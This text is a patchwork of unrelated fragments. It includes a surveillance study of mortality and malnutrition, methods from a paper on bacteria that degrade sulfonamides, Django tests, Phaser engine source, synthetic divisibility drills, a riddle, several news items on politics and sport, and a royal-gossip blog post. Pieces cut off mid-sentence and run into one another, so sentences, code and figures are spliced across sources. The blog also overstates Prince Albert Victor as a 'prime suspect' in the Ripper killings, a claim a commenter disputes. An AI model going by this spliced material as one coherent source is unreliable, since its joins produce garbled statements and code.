**5 to 14 years** 31 10.8 18 8.0 49 9.6
**15 to 44 years** 67 23.4 48 21.4 115 22.5
**≥45 years** 77 26.9 58 25.9 135 26.5
**Total** **286** **100.0** **224** **100.0** **510** **100.0**
† Percent of all deaths among children under 5.
Nutritional status
------------------
Over the entire analysis period, 16,104 sets of anthropometric measures were collected and analyzable. The prevalences of GAM and SAM were 11.9% (95% CI: 9.1-15.5) and 3.0% (95% CI: 2.3-4.0), respectively. Of 484 children with SAM, 224 (46.3%) were reported to have edema, giving a prevalence of kwashiorkor of 1.3% (95% CI: 0.9-1.9); of these, however, only 53/224 (23.7%) were also classified as SAM by the MUAC \<115 millimeters criterion.
From a very high baseline of 7% (possibly reflecting inaccuracy during system implementation), SAM prevalence appeared to peak in April to May 2010, and more markedly in June to October, falling steadily thereafter (Figure [4](#F4){ref-type="fig"}). Notably, the proportion of SAM cases with edema was around 20% up to May, but thereafter increased to around 50%.
{#F4}
The mean MUAC value among children sampled showed relatively little variation during the entire period, averaging 141 millimeters (trends data not shown).
Program coverage
----------------
Between weeks 10 and 39, 129/489 or 29.1% (95% CI: 20.0-38.2) children with SAM had an MSF program bracelet (i.e., were under treatment). There were no statistically significant differences in SAM coverage across strata, though the lowest values were noted in Boganda (13.9%) and Boganangone (19.1%) sites. SAM coverage increased during 2010, from about 10% to 15% initially to 35% to 40% (Figure [5](#F5){ref-type="fig"}).
{#F5}
An alternative measure of coverage is provided by follow-up of referrals made by surveillance site home visitors. Of 599 children 65 to 110 centimeters tall (6 to 59 months old) classified as SAM cases by home visitors and referred to the MSF nutritional program (note that this denominator includes some who were not part of the weekly sample), only 134 (22.4%) were eventually seen by an MSF clinic.
Lastly, of 510 decedents of all ages during the analysis period, 140 or 28.5% (95% CI: 18.7-38.4) were reported by household respondents to have received some form of biomedical health care during their final illness. Among 260 children under 15 years who died, 67 or 30.2% (95% CI: 13.7-46.8) received care in MSF-supported health facilities.
System evaluation
-----------------
### Accuracy of mortality estimates
Out of all deaths listed by key informants in the capture-recapture study, two could not be confirmed as the household had moved away, while 17 were excluded from the analysis after household visits (two were stillbirths, seven occurred outside the recall period, and eight decedents did not reside on site).
Similarly, out of 45 deaths listed by the surveillance system, six were excluded (two were among nonresidents, two were outside the recall period though within the period following the start of the surveillance system, and two were stillbirths). Based on these data (and accepting the two deaths outside the recall period as valid), the positive predictive value (PPV) of mortality reporting by the system was 41/45 (91.1%).
The overlap among the three lists is shown in Figure [6](#F6){ref-type="fig"}. The surveillance system identified 39/41 deaths reported on any list. Capture-recapture analysis estimated that only one death was not detected by any list, yielding a system sensitivity of 39/42 (92.9%), greater than that of religious leaders (52.4%) and birth attendants (28.6%). Of 21 deaths among children under 5, all were estimated to have been captured by the surveillance system (sensitivity 100.0%), whereas religious leaders and birth attendants had lower sensitivity (42.9% and 19.0%, respectively).
{#F6}
### Accuracy of anthropometric measures
Of 395 children sampled who met criteria for referral, 349 were referred (sensitivity of referral = 88.4%). An additional 56 were referred out of 18,383 who did not meet the criteria (specificity = 99.7%). Thus, of 405 referrals, 86.2% were warranted, assuming no error in MUAC and edema measurement by home visitors.
However, of 134 children referred with SAM by the surveillance system and seen by the MSF nutritional program, only 68 (50.7%) were confirmed as SAM cases according to MUAC (\<115 mm), weight-for-height Z score deviation from the reference mean (\<3 Z scores), and/or presence of bilateral edema. Adjusting for the proportion of unwarranted referrals among children sent to the program (about 14%), the PPV of the surveillance system\'s case definition of SAM was thus roughly 60%, using MSF nutrition staff\'s repeat measure as the gold standard.
### Completeness and stability
Data were collected for 1,003/1,008 (99.5%) site-weeks. Two out of 35 weekly paper registers showed discrepancies with the electronic database. No interruption of data collection was reported, with the exception of week 28 (repeat census).
### Accuracy of population denominators
Population estimates by site according to the baseline census (weeks 7 to 9, 2010), repeat census (week 28), and demographic surveillance (week 27) are shown in Figure [7](#F7){ref-type="fig"}. The two censuses yielded similar estimates (relative difference \<15%) for 21/24 sites, while in three sites (10, 13, and 20) large differences were noted (Figure [8](#F8){ref-type="fig"}).
{#F7}
{#F8}
Demographic surveillance yielded strikingly different population estimates in several sites, with relative differences \>15% compared to the repeat census in 10/24 sites, and a higher estimate than the census in 17/24 sites. Demographic surveillance estimates were consistently higher than either census in the Gadzi sous-préfecture sites (sites 16 to 24).
|
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] | catabolic genes enabling microbial growth on sulfonamides. Our experiments corroborate that bacteria can subsist on antibiotics^[@CR33]^ and definitively resolve the controversy in the literature about the ability of microorganisms to use antibiotics as carbon and energy sources. The *sad* cluster is not related to any of the sulfonamide resistance genes known so far. It is furthermore remote from *sul1* on the chromosome of *Microbacterium*, includes a relaxase which suggests mobility (present or historical) and is present in several bacteria. Therefore we postulate that SadA should be considered as a part of the resistome, as it shows a high potential to evolve into an effective resistance gene. Moreover, strains able to subsist on antibiotics and thereby lowering the antibiotic concentration, have a fitness advantage over the ones having only traditional resistance genes, such as *sul1*. Therefore this cluster also bears the potential to contribute to accelerate the spreading of classic resistance mechanisms (*i.e*. here *sul1*). A corollary question is whether and how classic antimicrobial resistances affect the metabolic capacity of microorganisms, especially in terms of selection pressure, for promiscuous enzymes are often involved in co-metabolic and metabolic degradation processes. Since worldwide actions are taken to combat the spread of antibiotic resistance, knowledge on such molecular determinants is crucial and should become integral part of resistome studies and antibiotic resistance screenings.
Materials and Methods {#Sec3}
=====================
Bioinformatic analyses {#Sec4}
----------------------
### Phylogenetic tree of sulfonamide degrading bacterial isolates {#Sec5}
The sequences of 16S rRNA genes were used to build a phylogenetic tree of sulfonamide degrading bacteria. Ugene V1.26^[@CR54]^ was used as the graphical user interface for the bioinformatic tools. All sequences were aligned with MAFFT (advanced options were inactivated). The tree was built with PhyML Maximum Likelihood (Substitution model HKY85, equilibrium frequencies: optimized, number of substitution rate categories: 4, fast likelihood-based method: aLRT, tree improvement: SRT & NNI) and plotted with Ugene.
### Genome sequencing {#Sec6}
Genomic DNA of *Microbacterium* sp. strain BR1 was isolated from an overnight liquid culture using the DNeasy blood and tissue kit (Qiagen). Sequencing was performed on a Roche 454 platform using both a 3 kb paired end and a shotgun sequencing approach. Prediction of CDS was done by Critica, Glimmer and Prodigal. All predictions were merged together into one unique set of CDS. Additional annotation was performed using the RAST server^[@CR55],[@CR56]^. The draft genome has been deposited at NCBI under BioProject number PRJNA394223.
The genomic DNA of *Microbacterium lacus* strain SDZm4 (DSM 26765) was isolated with the GenElute Bacterial Genomic DNA Kit (Sigma-Aldrich) from a 48 h old culture. The kit Promega QuantiFluor was used for quantification of the concentration of genomic DNA and of the sequencing library. We used the KAPA HyperPlus Kit for enzymatic fragmentation and whole library preparation, performing size selection step with NucleoMag magnetic beads (Macherey Nagel). TruSeq DNA PCR-Free LT Library adapters were used. Libraries were sequenced with the MiSeq Reagent Kit v2 (500 cycles) on the Illumina MiSeq system. The resulting paired reads were further analysed with the MyPro pipeline for genome assembly and annotation^[@CR57]^. The draft genome has been deposited at NCBI under BioProject number PRJNA394221.
### CARD analysis of *Microbacterium* sp. strain BR1's genome {#Sec7}
The Comprehensive Antibiotic Resistance Database (CARD) analysis^[@CR53]^ of the 10 genome contigs of *Microbacterium* sp. strain BR1 was carried out on February 14^th^ 2017. The genome was screened with the Resistance Gene Identifier (RGI) for perfect and strict hits to known resistance genes.
### Identification of *sad* genes in sulfonamide mineralizing isolates {#Sec8}
Genomes of the strains *Microbacterium* sp. strain C448 (BioProject accession number PRJNA170195) and *Arthrobacter* sp. strain D2 (BioProject accession number PRJNA314012) and D4 (BioProject accession number PRJNA314014) were downloaded from National Center for Biotechnology Information (NCBI) repositories and analysed locally. Ugene V1.20.00 was used as the graphical user interface.
A local Blast+ database containing the amino acid sequences of the SadA, the SadB and SadC from *Microbacterium* sp. strain BR1 was built and queries were run against the genomes of all four genomes, including the one from *Microbacterium* sp. strain SDZm4. Applied settings were the following: search: blastx, expectation value: 10, best hits limit: 100, both strands, word size: 11, gap costs 2 2, match scores 1--3; X dropoff values: gapped alignment: 30 bits, ungapped extensions: 20 bits.
The identity of the *sad* gene cluster and its surrounding was carried out by making Blast+ databases of each genome and carrying out local Blast analysis against the genome of *Microbacterium* sp. strain BR1 and vice versa.
### Alignment of *sad* genes and enzymes {#Sec9}
Gene and enzyme sequences were aligned offline with MAFFT (advanced options were inactivated) in the graphical user interface Ugene V1.26^[@CR54]^. The sequence of *Microbacterium* sp. strain BR1 was set as reference sequence to determine identities among the sequences. The phylogenetic tree of the SMX-MO was built with PhyML Maximum Likelihood (Substitution model HKY85, equilibrium frequencies: optimized, number of substitution rate categories: 4, fast likelihood-based method: aLRT, tree improvement: SRT & NNI) and plotted with Ugene.
Molecular biology {#Sec10}
-----------------
### Plasmid construction with *sad* genes {#Sec11}
The genes *sadA* and *sadC* encoding for the SMX-monooxygenase and FMNR were codon optimized for *E. coli* and synthesized by MWG Operon (Ebersberg, Germany). All three *sad* genes were separately cloned into a pET28a vector, downstream of a hexahistidine tagged small ubiquitin related modifier (SUMO, Sequence 1) under control of a T7 promotor (plasmid construct provided by Ricardo Adaixo). A restriction free cloning strategy was used for the construction of all three plasmids. The primer design was carried out with the online tool of the website rf-cloning.org^[@CR58]^. The retrieved primer sequences were synthesised by Eurofins (Table [1](#Tab1){ref-type="table"}) and the PCRs was carried out accordingly (Tables [1](#Tab1){ref-type="table"}, [2](#Tab2){ref-type="table"}).Table 1Primers for RF-Cloning.Construct NameForward/Sequence \[5′ - \>3′\]Annealing Temp. \[°C\]ReversePlasmidTargetpET28a_Nt6HisSUMO-MOII_codon_optForwardCTCACCTCGAACAGATTGGTGG-CATGAAATCTGTCCAAAGCGCT6156ReverseGGTGGTGGTGGTGCTCGAGTCACTAAATCGG-CATGACGAACTC6455pET28a_Nt6HisSUMO-FMNRForwardCTCACCTCGAACAGATTGGTGGCATGAC-CTCCGAATCACCAAC6156ReverseGGTGGTGGTGGTGCTCGAG-TCATCAGATGATCGCGGAGCG6458pET28a_Nt6HisSUMO-MOIForwardCTCACCTCGAACAGATTGGTGGCATGGTCGA-TAGCAGTTTGCC6156ReverseGGTGGTGGTGGTGCTCGAGTCATCAAAC-CAGAGGCGTAACG6456 Table 2RF-Cloning parameters for 2nd PCR.Construct NameExtension Time \[min\]Insert \[ng\]Plasmid \[ng\]pET28a_Nt6HisSUMO-MOII_codon_opt2:1430970pET28a_Nt6HisSUMO-FMNR2:01151.269.9pET28a_Nt6HisSUMO-MOI2:13298.869.9
*E. coli* XL10Gold competent cells were transformed with the construct and colonies were checked by colony PCR using T7 primer. The plasmids were purified from positive clones and sequenced (MWG Operon). Finally, competent *E*. *coli* Arctic Express were transformed with the plasmid constructs.
Sequence 1: SUMO-tag -- Supports proper folding of heterologously expressed enzymes
TCTGACTCCGAAGTCAATCAAGAAGCTAAGCCAGAGGTCAAGCCAGAAGTCAAGCCTGAGACTCACATCAATTTAAAGGTGTCCGATGGATCTTCAGAGATCTTCTTCAAGATCAAAAAGACCACTCCTTTAAGAAGGCTGATGGAAGCGTTCGCTAAAAGACAGGGTAAGGAAATGGACTCCTTAAGATTCTTGTACGACGGTATTAGAATTCAAGCTGATCAGACCCCTGAAGATTTGG |
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] | [2].state))
self.assertEqual({'type': 'csmh', 'order': 3}, json.loads(history[3].state))
self.assertEqual({'type': 'csmh', 'order': 2}, json.loads(history[4].state))
self.assertEqual({'type': 'csmh', 'order': 1}, json.loads(history[5].state))
@patch.dict("django.conf.settings.FEATURES", {"ENABLE_CSMH_EXTENDED": True})
@patch.dict("django.conf.settings.FEATURES", {"ENABLE_READING_FROM_MULTIPLE_HISTORY_TABLES": False})
def test_get_history_true_false(self):
student_module = StudentModule.objects.all()
history = BaseStudentModuleHistory.get_history(student_module)
self.assertEqual(len(history), 3)
self.assertEqual({'type': 'csmhe', 'order': 3}, json.loads(history[0].state))
self.assertEqual({'type': 'csmhe', 'order': 2}, json.loads(history[1].state))
self.assertEqual({'type': 'csmhe', 'order': 1}, json.loads(history[2].state))
@patch.dict("django.conf.settings.FEATURES", {"ENABLE_CSMH_EXTENDED": False})
@patch.dict("django.conf.settings.FEATURES", {"ENABLE_READING_FROM_MULTIPLE_HISTORY_TABLES": True})
def test_get_history_false_true(self):
student_module = StudentModule.objects.all()
history = BaseStudentModuleHistory.get_history(student_module)
self.assertEqual(len(history), 3)
self.assertEqual({'type': 'csmh', 'order': 3}, json.loads(history[0].state))
self.assertEqual({'type': 'csmh', 'order': 2}, json.loads(history[1].state))
self.assertEqual({'type': 'csmh', 'order': 1}, json.loads(history[2].state))
@patch.dict("django.conf.settings.FEATURES", {"ENABLE_CSMH_EXTENDED": False})
@patch.dict("django.conf.settings.FEATURES", {"ENABLE_READING_FROM_MULTIPLE_HISTORY_TABLES": False})
def test_get_history_false_false(self):
student_module = StudentModule.objects.all()
history = BaseStudentModuleHistory.get_history(student_module)
self.assertEqual(len(history), 0)
Q:
What am I supposed to be?
This one is probably very easy. I'm still trying to getting the hang of more complex structures :)
I hover, I freeze,
I mourn, I cry,
I move, I fade,
my color shapes your mood,
when I'm not there you feel warmth.
Alternative final line (only as an assist):
when I'm not there you feel the sun.
A:
I think it's
clouds
I hover, I freeze,
Clouds are above us thus hovering the earth
Sometimes, they produce snow and hail
I mourn, I cry,
Sometimes, they produce rain
I move, I fade,
They move with the wind, and they fade when there is no water anymore.
my color shapes your mood,
When they are grey they can make you sad, when they are red (sunrise or sunset) they make you happy
when I'm not there you feel warmth.
When they are not here, they are not in the way of the sun's warmth.
Sleep quality among patients treated with implantable atrial defibrillation therapy: effect of nocturnal shock delivery and psychological distress.
The Medtronic ICD-AT has atrial/ventricular therapies, which can be programmed to deliver atrial defibrillation during sleep, intended to potentially decrease shock anxiety/pain and lifestyle disruption. However, these shocks may diminish sleep quality. This study examined atrial shock characteristics (i.e., mode, frequency), AF symptoms, and psychological factors as determinants of sleep quality. The 96 ICD-AT patients were mostly men (72%; M age 65 +/- 12 years) and implanted for 1.6 years (SD = 0.8 years). Patients were divided into shock groups based on the proportion of mode (> or =90%) of total atrial shocks received. Patients were grouped into either automatic-nocturnal shock group (8 P.M.-8 A.M.; n = 35) or manual-awake shock group (n = 42). Psychological measures included Pittsburgh Sleep Quality Index (PSQI), Center for Epidemiology Studies-Depression Scale, State-Trait Anxiety Inventory, and Illness Intrusiveness Rating Scale. Atrial fibrillation disease burden was assessed via atrial symptom score and atrial shock use. PSQI global scores were similar between manual (7.67 +/- 2.53) and automatic shock (8.20 +/- 2.93) groups. A multiple hierarchical regression analysis indicated that no atrial shock variables were predictive of sleep quality; yet, both AF symptom (B = 0.226, P = 0.040) and depression (B = 0.392, P = 0.034) scores predicted diminished sleep quality, accounting for 42% of the variance in global sleep quality (P < 0.001). These results suggest that atrial defibrillation therapy does not have a deleterious impact on sleep. However, the significance of AF symptoms and depression indicate that comprehensive care of both physical and psychological symptomatology may improve sleep quality in ICD-AT patients./**
* @author Richard Davey <[email protected]>
* @copyright 2020 Photon Storm Ltd.
* @license {@link https://opensource.org/licenses/MIT|MIT License}
*/
var Class = require('../utils/Class');
var GetValue = require('../utils/object/GetValue');
var NOOP = require('../utils/NOOP');
var RequestAnimationFrame = require('../dom/RequestAnimationFrame');
// http://www.testufo.com/#test=animation-time-graph
/**
* @classdesc
* The core runner class that Phaser uses to handle the game loop. It can use either Request Animation Frame,
* or SetTimeout, based on browser support and config settings, to create a continuous loop within the browser.
*
* Each time the loop fires, `TimeStep.step` is called and this is then passed onto the core Game update loop,
* it is the core heartbeat of your game. It will fire as often as Request Animation Frame is capable of handling
* on the target device.
*
* Note that there are lots of situations where a browser will stop updating your game. Such as if the player
* switches tabs, or covers up the browser window with another application. In these cases, the 'heartbeat'
* of your game will pause, and only resume when focus is returned to it by the player. There is no way to avoid
* this situation, all you can do is use the visibility events the browser, and Phaser, provide to detect when
* it has happened and then gracefully recover.
*
* @class TimeStep
* @memberof Phaser.Core
* @constructor
* @since 3.0.0
*
* @param {Phaser.Game} game - A reference to the Phaser.Game instance that owns this Time Step.
* @param {Phaser.Types.Core.FPSConfig} config
*/
var TimeStep = new Class({
initialize:
function TimeStep (game, config)
{
/**
* A reference to the Phaser.Game instance.
*
* @name Phaser.Core.TimeStep#game
* @type {Phaser.Game}
* @readonly
* @since 3.0.0
*/
this.game = game;
/**
* The Request Animation Frame DOM Event handler.
*
* @name Phaser.Core.TimeStep#raf
* @type {Phaser.DOM.RequestAnimationFrame}
* @readonly
* @since 3.0.0
*/
this.raf = new RequestAnimationFrame();
/**
* A flag that is set once the TimeStep has started running and toggled when it stops.
*
* @name Phaser.Core.TimeStep#started
* @type {boolean}
* @readonly
* @default false
* @since 3.0.0
*/
this.started = false;
/**
* A flag that is set once the TimeStep has started running and toggled when it stops.
* The difference between this value and `started` is that `running` is toggled when
* the TimeStep is sent to sleep, where-as `started` remains `true`, only changing if |
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] | -4 - (-14)/r?
False
Let b(w) = 80*w**2 - 2*w - 2. Let i(s) = s**2 - 7*s - 29. Let q be i(10). Let f = q - 2. Does 8 divide b(f)?
True
Does 39 divide (4 - 3 - -40202)/((-180)/(-120))?
False
Let f(z) be the second derivative of z**5/60 - z**4/8 - 10*z**3/3 - 14*z**2 - 25*z. Let j(d) be the first derivative of f(d). Is 17 a factor of j(-11)?
False
Suppose s = 5*r - 188, -2*r = -2*s - 2*s - 86. Suppose r*q = 41*q - 828. Does 8 divide q?
False
Let y(j) = -2*j - 26. Let m be y(-9). Let c(a) = -2*a**3 - 12*a**2 + 7*a - 8. Is c(m) a multiple of 12?
True
Let x(r) = -740*r**2 - 739*r**2 - 2 - 13*r + 1488*r**2 + 31. Is 11 a factor of x(4)?
True
Let r(c) = 2*c**2 + 6*c + 4. Let q(n) = n**2 - 11*n + 15. Let j be q(10). Let l be r(j). Suppose 7*x - x - l = 0. Does 3 divide x?
False
Let h be 3196/38 - (-1 + 21/19). Does 5 divide h/126 - (-466)/3?
False
Does 14 divide 3294 + 0 - (-28)/(-49)*7?
True
Suppose -2*y = 2*w - 110, 269 = -2*w + 7*w + 2*y. Suppose -w*l + 50*l = -2598. Does 55 divide l?
False
Suppose 0 = 2*s - 13741 - 56275. Does 64 divide s?
True
Suppose 3*s - 3*z + 4362 = 6*s, -2*s = 3*z - 2917. Does 5 divide s?
True
Let a(m) = m**3 + 20*m**2 - 6*m + 36. Let p(s) = 7*s**3 + 123*s**2 - 35*s + 217. Let y(g) = 13*a(g) - 2*p(g). Does 5 divide y(10)?
False
Suppose -a - 2621 = -5*l + 7875, -3*l + 2*a + 6292 = 0. Is l a multiple of 10?
True
Suppose -4*p - 3 = 9. Let l be (-142)/(-5) + 4/(-10). Is 18 a factor of (-25)/(-10)*p*l/(-5)?
False
Is 4714 + (-16 + 6 - -14) a multiple of 14?
True
Let u(h) = 13*h**2 - 25*h + 479. Does 6 divide u(13)?
False
Let q = -70015 - -133988. Does 13 divide q?
True
Let l(n) = 904*n**2 + 45*n - 23. Does 10 divide l(2)?
False
Suppose 0 = -92*x + 106*x - 47964. Does 6 divide x?
True
Let z = 6196 - 2283. Does 43 divide z?
True
Let y(m) = m**2 + 4*m - 7. Let t be 3*(2 - -2) - 3. Suppose -t = -j + u, 3*j - u - 22 = u. Does 5 divide y(j)?
True
Let c be (-5270)/(-187) + 2/(-11). Let r = c + 5. Is 3*(-16)/(-18)*r a multiple of 25?
False
Let a(r) = r**3 + 2*r**2 - 6*r - 5. Let w be a(-3). Suppose 996 = 2*o - 4*k, 9*o = w*o - 4*k + 2532. Is o a multiple of 12?
True
Let h(q) = 2*q**2 + 5*q - 6. Let f be h(-4). Suppose 2*u = -4, 8*l - 540 = f*l + 5*u. Is 19 a factor of l?
False
Let o = -1985 + 10114. Is 11 a factor of o?
True
Suppose -6 = -u - 12. Is 3 + 0/1 - (-86 + u) a multiple of 5?
True
Let n(c) = c**3 - 6*c**2 + 8*c - 5. Let u be n(5). Let x be 0/(-3*u/15). Does 16 divide (-1)/(x - -1)*(-41 - 2)?
False
Suppose 4*u - 118 = -3*o, 2*o - 114 = -o - 3*u. Suppose -3*l + l = 5*h - o, -20 = -h + 4*l. Suppose h*p - 101 + 21 = 0. Does 10 divide p?
True
Suppose 735 = p - 4*t, 3*p - 7*p - 4*t = -3040. Let h = 1350 - p. Is h a multiple of 38?
False
Let m(g) be the first derivative of 23*g + 26 + 8*g**2 - 11*g**2 + 2*g**2. Is m(-20) a multiple of 21?
True
Suppose -29*u - 5*u - 67*u = -386224. Is 31 a factor of u?
False
Let q = -1401 + 2249. Let v = 187 + q. Is v a multiple of 15?
True
Does 93 divide (-2376)/(-144)*868/2?
True
Suppose 87904 = 72*l + 81*l - 300257. Is l a multiple of 19?
False
Let i = 182 + -44. Suppose y - 4*j = -5*j - 82, -4*y - 328 = 5*j. Let u = y + i. Does 14 divide u?
True
Let w(o) = 296*o**2 + 480*o + 1437. Is 101 a factor of w(-3)?
False
Suppose 33*c - 30*c - 5*x = 3229, c + 4*x = 1082. Is c a multiple of 30?
False
Let u(g) = g**2 + 37*g + 135. Let y be u(-33). Suppose -4*r = -2*r - 8, y*p - 3*r = 468. Does 10 divide p?
True
Let x(u) = 123*u**2 - 10*u - 5. Let n be x(-2). Suppose 3*b + 93 = 4*p + n, -2*b + 2*p = -276. Does 23 divide b?
True
Suppose 10438 = 2*w - 13*q + 17*q, -3*w = -q - 15650. Does 37 divide w?
True
Suppose 5*r = -4*a + 145, a - 10 660 F.2d 490
Jacksonv.Veterans Administration
80-1242
UNITED STATES COURT OF APPEALS Fourth Circuit
4/3/81
1
D.Md.
AFFIRMED
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] | sixth inning to seal the win. Haley Giedroc went 2-for-4 and scored three runs, and Marissa Tobias went 2-for-4 with two runs and two RBIs for Bald Eagle Area.
Makennah Dyke was perfect through three innings and pitched a complete game to earn the win.One of New York’s most influential and traditionally Democratic media organizations pulled a stunner Sunday when it reversed its 2008 endorsement of Barack Obama to join the New York Post in endorsing Mitt Romney.
“Four years ago, the Daily News endorsed Obama, seeing a historic figure whose intelligence, political skills and empathy with common folk positioned him to build on the small practical experience he would bring to the world’s toughest job,” the endorsement in part states. “We valued Obama’s pledge to govern with bold pragmatism and bipartisanship. The hopes of those days went unfulfilled.”
The endorsement also ticks off a list of reasons for why the daily tabloid is backing Romney in 2012 – including smaller paychecks, fewer jobs and higher subway fares and gasoline prices.
“America’s heart, soul, brains and muscle -- the middle- and working-class people who make this nation great -- have been beset for too long by sapping economic decline,” the editorial continues. “So, too, (have) New York breadwinners and families.”
Beyond the rhetoric, the paper backs up its decision with a salvo of numbers after the 2008 financial crisis – including a 7.9 percent national jobless rate and nine million fewer jobs.
The paper also points out the hometown crowd, with some of the most well-educated and well-paid residents in the country not spared.
The median household income for a New York family dropped by $54 a week over that period, the paper also points out.
The Daily News joins nearly a dozen other major U.S. newspapers in switching endorsements from Obama to Romney, according to the University of California, Santa Barbara’s American Presidency Project.
Only one newspaper, The San Antonio Express-News, which endorsed the Republican presidential nominee in 2008, Arizona Sen. John McCain, has switched to endorsing Obama, according the survey.
The 11 papers, according the study, that also switched to Romney are:
The New York Daily News
Long Island Newsday
Houston Chronicle
Fort Worth Star-Telegram
Orlando Sentinel
Ft. Lauderdale Sun-Sentinel
Nashville Tennessean
Des Moines Register
Illinois Daily Herald
Los Angeles Daily News
Press-Telegram -- Long Beach, Calif.Q:
Upgrade to Stone Axe in Starbound
Note: This question refers to content only found in beta. As of 1.0 stable, the stone axe is not obtainable. While pickaxes and drills still exist and can be used to cut wood, they are not craftable or upgradable and have limited use. The only upgradable tool for cutting wood is the Matter Manipulator.
I have defeated the first boss in Starbound and am roaming around in the Beta Sector. I have upgraded my pickaxe to gold, and it is working really great.
I was wondering if there are similar upgrades for the axes. Assuming that there would of course be an upgrade to axes, I crafted an Ice Axe (Human racial steel Axe), but it wouldn't chop any trees. Similarly for the Iron Axe, I came upon this in a wiki:
Although you can make an iron axe after making an iron anvil, the Iron Axe is a weapon, and not a tool for cutting trees.
Does that mean we're stuck with the Stone Axe for all our wood needs?
A:
As of the current Beta v. Enraged Koala, the only tools that can be directly upgraded are pickaxes, and their cousins, drills. The Stone Axe is the only woodcutting tool available in the game, though a chainsaw does exist in the game's files (but is unobtainable).
There are, however, a number of tool-related mods which might have something, if you want. And, there's always the possibility of just about anything being added in an update, including that chainsaw finally becoming obtainable.
If Toronto decides to make a bid on the 2024 Olympic Games, Hamilton would be "foolish" not be a part of that bid, says Canada Soccer board member Nick Bontis.
Mayor Fred Eisenberger was much more tepid about Hamilton being a part of a potential Olympic bid from Toronto, and said the city could offer up the stadium that Pan Am built, but, "in terms of raw dollars or putting money on the table, I seriously doubt it at this point."
I think we would be foolish not to be a part of any bid. - Nick Bontis, Canadian Soccer Association executive
The paint has barely dried on Pan Am Games — the West Harbour GO Station, for example, is back under construction —and questions are looming about whether or not Toronto will make a bid, due in September, for the 2024 Olympic Games.
Pouring water on Hamilton's potential involvement on that bid was Eisenberger.
"It's a completely different animal," Eisenberger said. "Olympic bids tend not to be geographic large regional bids, they tend to be municipal, large municipalities."
No money to help
"I would say Toronto might take a serious look at it. If there is a partnership opportunity, based on our new stadium facility, then maybe there's a good reason to have a chat about that," Eisenberger said. "I think the partnership could revolve around the facility we have in terms of the stadium."
He added there was no city money to help the bid along. Hamilton hosted the entire Pan Am soccer tournament. Many games at Olympic tournaments have historically been held outside the main venue site.
Canadian Olympic Committee's President Marcel Aubut, meanwhile, has said he will "absolutely lead and advocate with the whole power of my office that Toronto becomes the host city for 2024 Olympic Games."
Bontis, a McMaster University professor in addition to his executive role with Canada Soccer, said Hamilton should make sure it inserts itself into the conversation of a future games bid.
Taking advantage of stadium
"I think we would be foolish not to be a part of any bid. I think it's very, very important for us, now that we have this brand new stadium, to basically leverage the opportunities to attract as many events as possible," Bontis said. "If we don't become part of Olympic bids or world class invitations for clubs and events and musicians to come here, then we just don't take advantage of an investment that we have."
Bontis said that there are other events such as qualifying games, summer club tours for professional and national teams that Hamilton should be bidding for.
"A lot of the biggest clubs in Europe and South America, they go on summer tours. Putting our stadium as someone on the map of the inventory - you can go and play in Toronto, or you can go hand play in New York, Vancouver -- we have to add Hamilton to that list," Bontis said.When heavyweight-boxing champion Mike Tyson was convicted in 1992 of raping a beauty pageant contestant, his friend Donald Trump came to his defense — advocating for a way Tyson could avoid prison time and publicly defending the boxer's character.
As first reported by Mother Jones, Trump suggested Tyson could pay the contestant, Desiree Washington, with money from a fight to avoid serving a jail sentence, and he said of Tyson, "After knowing Mike, I don't know how it did happen."
But in video obtained by BuzzFeed News, Trump went a step further by more directly suggesting Washington wasn't a victim of rape at all.
"You have a young woman that was in his hotel room late in the evening at her own will," Trump said in an NBC Nightly News video package obtained by BuzzFeed News through the Vanderbilt University Television News Archive. "You have a young woman seen dancing for the beauty contest—dancing with a big smile on her face, looked happy as can be."
"It's my opinion that to a large extent, Mike Tyson was railroaded in this case," Trump also said in the package, which aired on Feb. 21, 1992.
Trump and Tyson's friendship goes back 30 years. Trump hosted several boxing matches featuring Tyson in the 1980s, and could have potentially made millions off a Tyson boxing match against Evander Holyfield if his Atlantic City casino landed the event. He argued at the time Tyson avoiding jail would help "far more people" by "allowing the tremendous sums of money from his fights to be put into funds used for rape victims."
Tyson was sentenced to six years in prison, and was released after serving only three.p73 gene alterations and expression in primary oral and laryngeal squamous carcinomas.
p73, a recently identified gene, maps to chromosome region 1p36.3, which is frequently deleted in a variety of solid tumors. Although the gene shares sequence and functional homologies with p53, its suppressor function has not been proven. We investigated for the first time the genetic and expression status of the p73 gene and analyzed its flanking microsatellite loci on chromosome 1p36.3 in 67 primary oral and laryngeal squamous cell carcinomas to determine their association with these tumors. Our results reveal two missense mutations at codons 469 and 477 and a silent mutation at codon 349 in the C-terminal domain. Site-directed mutagenesis |
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] | be given the Dukedom of Clarence. That sounds pretty grand, until you look at the history of the title.
The last Duke of Clarence and Avondale was Prince Albert Victor (right), grandson to Queen Victoria and a prime suspect as the infamous Jack the Ripper. Beginning in the 1960s, several authors began putting clues together that linked the Duke with the serial killings of prostitutes in London in 1888. True, by most accounts it seems Albert, second in line to throne at the time, was an oddity in the royal ranks, his intellect and sexuality oft-debated by scholars.
Whether he was responsible for the muder spree has also been debated, but the verdict is anything but conclusive.
Nevertheless, it's an intriguing legacy. The young prince died during the flu epidemic at age 28. Since then, no one has held the title of Duke of Clarence. That the title might be resurrected and given Prince William is, if nothing else, great royal water-cooler talk. The Mail reports that a royal spokeman was, as usual, guarded in his response to the speculation: "We can’t help with historical matters."
--
On the wedding invitation front, there may be some doubt about the attendance of David and Victoria Beckham. ShowbizSpy quotes a source close to the Beckhams saying that the couple may pass on the wedding because of Victoria is pregnant with the couple's fourth child, due this summer.
Somehow, it seems unlikely a couple like the Beckhams would pass up the social event of the year.
David and Prince William struck up a friendship when they were involved with Britain's failed bid for the 2014 World Cup. Victoria, the former Spice Girl, is reportedly preparing to give Kate wedding gift that includes dresses from her collection.
Sounds more and more like William and Kate's home will be closet-challenged.
Posted by at 09:59:32 AM
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Prime suspect?? Hardly a "prime" suspect. He is a fringe suspect along the same vein as Lewis Carroll. He lived in England in 1888 and had been in the area in the past. Apart from that ........
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House Republican leaders are set to hand a victory to Senate Democrats on Thursday with the expected passage of a Senate-approved reauthorization of the Violence Against Women Act.
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Led by Majority Leader Eric Cantor Eric Ivan CantorThe Hill's Campaign Report: Florida hangs in the balance Eric Cantor teams up with former rival Dave Brat in supporting GOP candidate in former district Bottom line MORE (R-Va.), Republicans in the House had worked for months on their own version of the bill. But lawmakers and aides said Wednesday the leadership realized this week that, amid unified Democratic opposition, the GOP proposal was unlikely to gain the 217 votes needed to pass.
Republican leaders late Tuesday set up a process to bring the Senate bill to the House floor on Thursday and offer their proposal as a substitute amendment. If that amendment fails, the House will vote on — and likely pass — the Senate measure, sending it to President Obama’s desk.
